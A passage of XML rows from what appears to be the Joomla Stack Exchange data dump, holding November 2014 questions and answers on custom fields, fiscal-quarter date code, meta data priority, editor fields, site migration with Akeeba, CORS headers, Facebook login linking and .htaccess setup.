  <row Id="5231" PostTypeId="2" ParentId="5227" CreationDate="2014-11-14T11:41:25.207" Score="4" Body="&lt;p&gt;I don't see any point to follow a tutorial for Joomla 1.5, when you try to work on J3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are so many differences between the 2 versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what you want to do, a simple google search would give you plenty of resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here there are some:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2395/how-to-save-custom-fields-in-core-components&quot;&gt;How to save Custom Fields in Core components&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2197/add-custom-extra-field-to-a-category&quot;&gt;Add custom / extra field to a category&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.joomlart.com/tutorials/joomla-tutorials/adding-joomla-custom-fields-in-article-with-t3-framework&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.joomlart.com/tutorials/joomla-tutorials/adding-joomla-custom-fields-in-article-with-t3-framework&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://zunostudios.com/blog/development/203-how-to-add-custom-fields-to-articles-in-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://zunostudios.com/blog/development/203-how-to-add-custom-fields-to-articles-in-joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.aixeena.org/aixeena-lab/aixeena-easy-cck&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.aixeena.org/aixeena-lab/aixeena-easy-cck&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-11-14T11:41:25.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5232" PostTypeId="2" ParentId="5225" CreationDate="2014-11-14T12:58:45.887" Score="0" Body="&lt;p&gt;You have to create an &lt;strong&gt;authentication plugin&lt;/strong&gt; to receive the alternative credentials, and authorize the access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create it based on one of the core authentication plugins. For instance, &lt;strong&gt;PlgAuthenticationCookie&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-14T12:58:45.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5233" PostTypeId="1" AcceptedAnswerId="5234" CreationDate="2014-11-14T17:31:42.443" Score="1" ViewCount="63" Body="&lt;p&gt;Just getting started with Joomla Dates - is there a convenient way to determine what the from/to dates of the last fiscal quarter are?&lt;/p&gt;&#xA;" OwnerUserId="285" LastActivityDate="2014-11-14T17:38:04.530" Title="Is there a Joomla function to determine the last fiscal quarter?" Tags="|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5234" PostTypeId="2" ParentId="5233" CreationDate="2014-11-14T17:38:04.530" Score="2" Body="&lt;p&gt;Haven't used JDate for this, but the below PHP code works it for us:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Current Date&#xA;$current_date = date('Y-m-d');&#xA;list ($year, $month, $day) = explode('-', $current_date);&#xA;$today = new DateTime();&#xA;$today-&amp;gt;setDate($year, $month, $day);&#xA;&#xA;// This Quarter&#xA;$month = $month % 3 ? $month + 3 - ($month % 3) : $month; //&#xA;$this_date = new DateTime();&#xA;$this_date-&amp;gt;setDate($year, $month + 1, 0);&#xA;$thisQuarterEnd = $this_date-&amp;gt;format('Y-m-d');&#xA;$this_date-&amp;gt;modify('-2 month');&#xA;$this_date-&amp;gt;modify('first day of this month');&#xA;$thisQuarterStart = $this_date-&amp;gt;format('Y-m-d');&#xA;&#xA;// Last Quarter&#xA;$last_date = clone $this_date;&#xA;$last_date-&amp;gt;modify( '-3 month' );&#xA;$lastQuarterStart = $last_date-&amp;gt;format('Y-m-d');&#xA;$last_date-&amp;gt;modify( '+2 month' );&#xA;$last_date-&amp;gt;modify('last day of this month');&#xA;$lastQuarterEnd = $last_date-&amp;gt;format('Y-m-d');&#xA;&#xA;echo '&amp;lt;br/&amp;gt;Todays Date is '.$today-&amp;gt;format('Y-m-d');&#xA;echo '&amp;lt;br/&amp;gt;This quarter is  '.$thisQuarterStart . ' thru '.$thisQuarterEnd;&#xA;echo '&amp;lt;br/&amp;gt;LAST quarter is  '.$lastQuarterStart . ' thru '.$lastQuarterEnd;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-14T17:38:04.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5235" PostTypeId="1" AcceptedAnswerId="5241" CreationDate="2014-11-14T18:08:36.760" Score="3" ViewCount="316" Body="&lt;p&gt;Can anyone explain the meta hierarchy in Joomla, please? I see the global meta, but also at the article detail, category and menu level. I assume that the global is intended to serve as the crawled meta data in the event that the other don't exist, however I'm unclear on which takes priority, the menu level or article level.&lt;/p&gt;&#xA;" OwnerUserId="2122" LastActivityDate="2014-11-15T01:17:13.437" Title="Meta data hierarchy in Joomla" Tags="|joomla-3.x|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5237" PostTypeId="1" AcceptedAnswerId="5239" CreationDate="2014-11-14T19:02:31.743" Score="3" ViewCount="1666" Body="&lt;p&gt;On Joomla 3.2.3, I added some custom fields to core components using a plugin (like &lt;a href=&quot;http://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;). It's working fine but I'd like to add the editor-xtd buttons to the customs editors added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is : how can I load the editor-xtd plugin into my custom fields plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2200" LastEditorUserId="126" LastEditDate="2014-12-03T10:34:27.900" LastActivityDate="2017-05-08T15:02:33.417" Title="Joomla Editor Form Field in content plugin - How to load editor-xtd?" Tags="|joomla-3.x|xml|editor|form-fields-types|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5238" PostTypeId="2" ParentId="4145" CreationDate="2014-11-14T19:08:37.773" Score="8" Body="&lt;p&gt;Actually it would be a bad idea to have a Joomla site nested inside the root of another Joomla instance. The better scenario (which would require shell access to configure) is to have each one in it's directory outside of the webroot, and symlink the files into the webroot. This way the new site can be accessed via a subdomain during testing and content could be moved between databases. When it's time to switch over, simply delete the symlink from the old site and link the new site into the webroot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would also make it possible to source control the entire site with git or mercurial and run a pull-only scenario for your production version without having to create a complicated deployment script.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2014-11-14T19:08:37.773" CommentCount="2" CommunityOwnedDate="2014-11-14T19:08:37.773" ContentLicense="CC BY-SA 3.0" />
  <row Id="5239" PostTypeId="2" ParentId="5237" CreationDate="2014-11-14T19:31:14.977" Score="1" Body="&lt;p&gt;If, I got right what you are asking, then the answer is that you need to create an &lt;strong&gt;Editor type form field&lt;/strong&gt;, and set &lt;code&gt;buttons=&quot;true&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Editor Form Field Type&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Required:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;type&lt;/strong&gt; - this should be editor.&lt;br&gt;&#xA;&lt;strong&gt;name&lt;/strong&gt; - Use a unique name to define the field.&lt;br&gt;&#xA;&lt;strong&gt;label&lt;/strong&gt; - The label of the field - you can use translations.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Optional&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;width&lt;/strong&gt; - Editor's width in pixels.&lt;br&gt;&#xA;   &lt;strong&gt;height&lt;/strong&gt; - The height in pixels.&lt;br&gt;&#xA;   &lt;strong&gt;cols&lt;/strong&gt; - Width in columns.&lt;br&gt;&#xA;   &lt;strong&gt;rows&lt;/strong&gt; - Height in rows.&lt;br&gt;&#xA;   &lt;strong&gt;buttons&lt;/strong&gt; - an array of xtd-buttons to be excluded or set to true/false.&lt;br&gt;&#xA;   &lt;strong&gt;hide&lt;/strong&gt; - an array of xtd-buttons to hide. Set buttons=&quot;true&quot;, then hide=&quot;readmore,pagebreak,image&quot;&lt;br&gt;&#xA;   &lt;strong&gt;editor&lt;/strong&gt; - specifies which editor to use. (e.g. editor=&quot;jce&quot;)&lt;br&gt;&#xA;   &lt;strong&gt;filter&lt;/strong&gt; - select the filter type e.g safehtml&lt;br&gt;&#xA;   &lt;strong&gt;description&lt;/strong&gt; - The description that will show-up in the tooltip- when hovering over the label of the field - you can use translations.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;XML Definition Example:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;   name=&quot;myeditorfield&quot; &#xA;   label =&quot;COM_CONTENT_MY_EDITOR_FIELD_LABEL&quot;&#xA;   type=&quot;editor&quot;&#xA;   editor=&quot;none&quot;&#xA;   buttons=&quot;true&quot;&#xA;   width=&quot;250&quot;&#xA;   height=&quot;80&quot;&#xA;   hide=&quot;image&quot;&#xA;   filter=&quot;safehtml&quot;&#xA;   description=&quot;COM_CONTENT_MY_EDITOR_FIELD_DESC&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Notes&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;1. Default XTD-Editors plugins&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Joomla comes with the following editors-xtd plugins: article, image, pagebreak and readmore.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;2. About Translations&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To use your own translations over the core components, you can create a per language override file and write there your language translations. You can use the backend language manager, or create them manually in the following locations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Admin for english:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;root/administrator/language/overrides/en-GB.override.ini&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Site for english:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;root/language/overrides/en-GB.override.ini&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In the override.ini:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_CONTENT_MY_EDITOR_FIELD_LABEL = &quot;Your field's label text&quot;  &#xA;COM_CONTENT_MY_EDITOR_FIELD_DESC  = &quot;The tooltip description text&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-05-08T15:02:33.417" LastActivityDate="2017-05-08T15:02:33.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5240" PostTypeId="2" ParentId="5207" CreationDate="2014-11-14T23:01:40.453" Score="2" Body="&lt;p&gt;I wonder why no one suggested using &lt;strong&gt;Akeeba Backup&lt;/strong&gt; component and &lt;strong&gt;Akeeba Kickstart&lt;/strong&gt; script. For some users, it might be easier way of doing the same as FFrewin suggested. Akeeba does all that automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of them are free (in basic version, you don't need pro). You can &lt;a href=&quot;https://www.akeebabackup.com/download.html&quot; rel=&quot;nofollow&quot;&gt;download them directly on AkeebaBackup.com/download&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The required steps are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install Akeeba Backup&lt;/li&gt;&#xA;&lt;li&gt;Set Akeeba Backup up, there's a one-click auto setup right after you open the component in your Joomla Administration &lt;/li&gt;&#xA;&lt;li&gt;Backup your site via Akeeba Backup&lt;/li&gt;&#xA;&lt;li&gt;Download your backup (.jpa file)&lt;/li&gt;&#xA;&lt;li&gt;Upload your backup to the new location on your FTP (no matter if it's a different host or just a different folder, you can move your site anywhere, even localhost)&lt;/li&gt;&#xA;&lt;li&gt;Unpack Akeeba Kickstart and upload the kickstart.php file to the same location where you uploaded the .jpa file&lt;/li&gt;&#xA;&lt;li&gt;In your browser, direct to http://newlocation.xy/kickstart.php&lt;/li&gt;&#xA;&lt;li&gt;Akeeba Kickstart will open, choose direct method&lt;/li&gt;&#xA;&lt;li&gt;Go through to whole process and fill required fields (just like a new Joomla installation)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Database connection settings (server, name, password) - if you want to keep the same database as you already have, use a different table prefix&lt;/li&gt;&#xA;&lt;li&gt;Website settings - set new live URL including http://, that's most important. Additionally, you can also change the superadmin password and setup new FTP accounts)&lt;/li&gt;&#xA;&lt;li&gt;When everything is done, click &quot;remove installation folder&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;That's it, if the new site works, you can remove your site in the previous location and the old database tables (they should have a different prefix or be in a separate database).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before deleting your previous installation, make sure your new one really works.&lt;/strong&gt; Your backup file may be corrupted from downloading or whatever and you might not be able to install the backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also aware that this looks like a bit more complicated way, but it's not, I believe it's easier and usually faster - copying thousands of files (whole Joomla) from your FTP location to your computer and uploading them to your new FTP location takes hours. With Akeeba, you can be up and running in less than an hour (depending on the size of your Joomla website).&lt;/p&gt;&#xA;" OwnerUserId="1716" LastActivityDate="2014-11-14T23:01:40.453" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5241" PostTypeId="2" ParentId="5235" CreationDate="2014-11-15T01:17:13.437" Score="2" Body="&lt;p&gt;The Joomla meta hierarchy is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Article - Highest priority&lt;/li&gt;&#xA;&lt;li&gt;Category&lt;/li&gt;&#xA;&lt;li&gt;Menu&lt;/li&gt;&#xA;&lt;li&gt;Global - Lowest priority&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example, if no meta is specified at the article level, then the category level is used, if no meta is specified at the category level then the menu level is used and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For single articles, I tend to specify meta data at the menu level because I can also specify page headings and page titles at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For articles in a category blog, it's better to specify meta at the article level because category blog articles don't all have a unique menu item.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-11-15T01:17:13.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5242" PostTypeId="1" CreationDate="2014-11-15T04:18:55.720" Score="4" ViewCount="4359" Body="&lt;p&gt;In my custom component, I have a controller to receive requests from external sites, desktop and mobile applications, the returned data in JSON format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I encounter CORS (Cross-origin resource sharing) issue if the request is made from web application (using AngularJS), so I want to set Access-Control-Allow-Origin header to enable CORS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, setting header(&quot;Access-Control-Allow-Origin: *&quot;) only solves the problem if it is put in the index.php in Joomla's root folder. It doesn't take effect if it is in the controller (mycontroller.json.php). I only want Access-Control-Allow-Origin takes effect in my controller only, not the whole website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Asking my end-users to edit their's index.php or edit .htaccess file is not a good solution at all, they are not technical users and when they update Joomla their customizations are gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any idea to solve this CORS issue or there is any way to handle this kind of task, please let me know. I really appreciate. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2021-08-05T17:20:55.573" Title="Set header(&quot;Access-Control-Allow-Origin: *&quot;) for a specific controller only? (Cross-origin resource sharing)" Tags="|angularjs|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5243" PostTypeId="2" ParentId="5225" CreationDate="2014-11-15T04:43:58.340" Score="0" Body="&lt;p&gt;If user's action is recorded somewhere, for example, buy a product, post a comment,... then user's ID or user's username must be available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case you need to create a Joomla account for your user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1. User logins with Facebook successfully&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2.a. If he has already had an account (by checking email, etc...), you get the account's username login (no need for password).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2.b. If he doesn't have an account, you create a dummy account for him. A better way is asking him for providing a username (and password), let him know that he only does this once, this username can be used to log into the site if for some reasons he can't use Facebook login. Use his username to log him in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the sample code I use for this task in my community component.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        /*&#xA;         * Get user info by email address.&#xA;         * If user is already registered, we log user in. If we haven't saved&#xA;         * this connection yet, we save it from now.&#xA;         * If user is not registered yet, we redirect user to register function.&#xA;         */&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select($db-&amp;gt;quoteName(array('id', 'username')))&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('#__users'))&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('email') . ' = ' . $db-&amp;gt;quote($email));&#xA;        $user = $db-&amp;gt;setQuery($query)-&amp;gt;loadObject();&#xA;&#xA;        if (isset($user-&amp;gt;id))&#xA;        {&#xA;            // Log user in.&#xA;            $options = array('action' =&amp;gt; 'core.login.site');&#xA;&#xA;            $response = array('username' =&amp;gt; $user-&amp;gt;username);&#xA;&#xA;            JPluginHelper::importPlugin('user');&#xA;            $result = $app-&amp;gt;triggerEvent('onUserLogin', array($response, $options));&#xA;&#xA;            $app-&amp;gt;redirect(JRoute::_('index.php?Itemid=' . $itemId, false));&#xA;&#xA;            return true;&#xA;        }&#xA;        else&#xA;        {&#xA;            $app-&amp;gt;redirect(JRoute::_('index.php?option=com_cmcommunity&amp;amp;task=registration.socialRegister&amp;amp;network=' . $this-&amp;gt;pluginId, false));&#xA;&#xA;            return false;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="135" LastActivityDate="2014-11-15T04:43:58.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5244" PostTypeId="2" ParentId="5207" CreationDate="2014-11-15T04:47:42.187" Score="2" Body="&lt;p&gt;If you want to redirect your localhost to some subfolder instead of root folder like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/var/www/subfolder&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you need to do this configuration at server.&#xA;open the file at following path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/apache2/sites-enabled/000-default.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you need to change the root path of the folder at follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerAdmin webmaster@localhost&#xA;DocumentRoot /var/www/subfolder&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if you will run the localhost then it will open the file of subfolder.&lt;/p&gt;&#xA;" OwnerUserId="399" LastEditorUserId="1520" LastEditDate="2014-11-15T10:28:18.733" LastActivityDate="2014-11-15T10:28:18.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5245" PostTypeId="2" ParentId="2330" CreationDate="2014-11-15T04:50:33.497" Score="2" Body="&lt;p&gt;You need to create a plugin, which will check the url and Usergroup. If you user is guest then you can redirect user to desired url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below link may help you.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;Creating Joomla Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Plugin/Events/System#onAfterRoute&quot; rel=&quot;nofollow&quot;&gt;onAfterRoute&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="142" LastActivityDate="2014-11-15T04:50:33.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5246" PostTypeId="1" CreationDate="2014-11-15T07:51:05.720" Score="2" ViewCount="399" Body="&lt;p&gt;this is my first post on stackoverflow. I apologize for my poor english. I developed a very complex joomla 3+ module with plenty of backend options. Labels and long description for every option is stored in the language file (more then 600 rows...). My problem is that module frontend only needs to load a few of this line (20 more or less) and I would not load all the others, which instead appear to be loaded anyway. It all gets worse because of repeated use of the module on the frontend, which causes, i guess, unecessary delays. I know plugins and components can manage different front and backend language files, but it is not possible for modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if can load language strings only for backend or better have totally different files for module front and backend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help&lt;/p&gt;&#xA;" OwnerUserId="2201" LastActivityDate="2014-11-15T08:14:25.917" Title="Different backend and frontend language files in a Joomla Module" Tags="|joomla-3.x|module|language|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5247" PostTypeId="2" ParentId="5246" CreationDate="2014-11-15T08:14:25.917" Score="2" Body="&lt;p&gt;It is not feasible to load different set of strings, in backend and frontend, which are contained in a single file.&lt;/p&gt;&#xA;&lt;p&gt;You should create multiple language files for this purpose.&#xA;Joomla support the concept of different language file for admin section and frontend.&lt;/p&gt;&#xA;&lt;p&gt;Refer this &lt;a href=&quot;http://docs.joomla.org/Specification_of_language_files&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; for more details&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-11-15T08:14:25.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5248" PostTypeId="1" AcceptedAnswerId="5287" CreationDate="2014-11-15T09:35:32.053" Score="-2" ViewCount="4326" Body="&lt;p&gt;i use the menu item type &quot;category blog&quot;. For the articles in my Category i set a Intro Image which will be shown on the left side of the blog entry. At the moment it is only possible to open the full article when you click on the title of the blog entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, what i want is, that i can click on the title AND the intro image to open the full article! Is that possible? And how can i achieve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional information: i use joomla version 3.3.6 and the afterburner2 template with gantry framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;oodoloo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit #2 (Findings after first Response)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your reply Anibal!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, generally i think i understand what to do, but it doesn't work the way i want :)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the following before i want to add the Article-Link to the image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First i edited the file &quot;intro_image.php&quot; at the location templates/my_template/html/layouts/joomla/content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed Line 18 to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'class=&quot;caption test&quot;' . ' title=&quot;' . htmlspecialchars($images-&amp;gt;image_intro_caption) . '&quot;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that i excepted, when i inspect the site with developer tools, that i will find an img-Tag with the additional class &quot;test&quot;. But i cant't find it. I think that was the override-variant!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the next step i changed the file &quot;intro_image.php&quot; at the location layouts/joomla/content in the same way, but after that I still could not detect any changes when i inspect the site again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the first problem. With that changes, i only want to ensure that i'm on the correct place for my changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the article i also set a caption, so that the edited line should be processed!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second problem i will have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You say, that i have to edit line 41 to reach my needs, but i'm not sure in which way. Can you give one more example please? Sorry, but i still at the beginning of my php/joomla career ;)...&lt;/p&gt;&#xA;" OwnerUserId="2131" LastEditorUserId="2131" LastEditDate="2014-11-17T13:31:06.927" LastActivityDate="2014-11-27T19:05:14.220" Title="Category Blog - open article on intro image click" Tags="|articles|" AnswerCount="2" CommentCount="6" ClosedDate="2014-11-24T19:09:21.387" ContentLicense="CC BY-SA 3.0" />
  <row Id="5249" PostTypeId="1" CreationDate="2014-11-15T09:47:54.933" Score="3" ViewCount="2182" Body="&lt;p&gt;i want to create a page on which i want to list images. When you click on an image i want to open the full article with detailed information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i achieve this in a simple way? which menuitem or module i should use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use joomla version 3.3.6 and the afterburner2 template with gantry framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;oodoloo&lt;/p&gt;&#xA;" OwnerUserId="2131" LastActivityDate="2014-11-19T17:40:08.743" Title="Image-List (Collection of Images) with link to article" Tags="|component|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5250" PostTypeId="2" ParentId="5249" CreationDate="2014-11-15T14:48:25.573" Score="1" Body="&lt;p&gt;What I use is &lt;a href=&quot;http://demo.rockettheme.com/joomla-extensions/roksprocket/&quot; rel=&quot;nofollow&quot;&gt;RokSprocket&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have prebuilt layouts for various displays of images with descriptions/titles/links and it's fully responsive. There are a bunch of options for those without any CSS knowledge, but then if you do have some CSS skill you can do unlimited custom layouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works to Joomla core articles and also Zoo.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-11-15T14:48:25.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5251" PostTypeId="1" CreationDate="2014-11-15T15:20:05.397" Score="1" ViewCount="2731" Body="&lt;p&gt;GoDaddy is providing one-click installation for Joomla 2.5. If you want to implement Joomla 3.0 from scratch, FTP is the way. The reason for the same is unclear to me. I guess htaccess.txt is one place that creates confusion. Right now, getting &quot;input file not specified&quot; message when I click any menu on my website iwebazoid.in. It will be great if someone using Joomla 3.0 with GoDaddy (Linux) forwards their htaccess.txt file so that I could implement the same for my website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit1:  By renaming to .htaccess and uploading the same through FTP, I waited for 20 minutes without any change of status. Then, under Global Configuration, I turned off SEF and Use URL Rewriting which immediately addressed issue of &quot;input file not specified&quot; when I click menu buttons to open a web page inside the website. I have kept .htaccess file as it is that is shipped with Joomla 3.3. Now, my hurdle is I am still getting the site live when I type http//iwebazoid.in but not with www.iwebazoid.in (page ok message). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read that this is a problem specific to GoDaddy which will correct itself within 2 weeks at max. Should I wait or I need to do something from my side?&lt;/p&gt;&#xA;" OwnerUserId="2203" LastEditorUserId="2203" LastEditDate="2014-11-16T06:04:38.510" LastActivityDate="2014-11-16T06:04:38.510" Title="Sample htaccess.txt file for Joomla 3 with GoDaddy" Tags="|.htaccess-configuration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5252" PostTypeId="2" ParentId="5251" CreationDate="2014-11-15T15:51:14.100" Score="0" Body="&lt;p&gt;I haven't used GoDaddy in a while but it used to be that it took 15 minutes for .htaccess changes to become active.  And you do know that you have to rename htaccess.txt to .htaccess before the site can go live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after installation, renaming .htaccess and then waiting 15 minutes used to be the norm.  I'm not sure if they've improved that situation at all.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-11-15T15:51:14.100" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
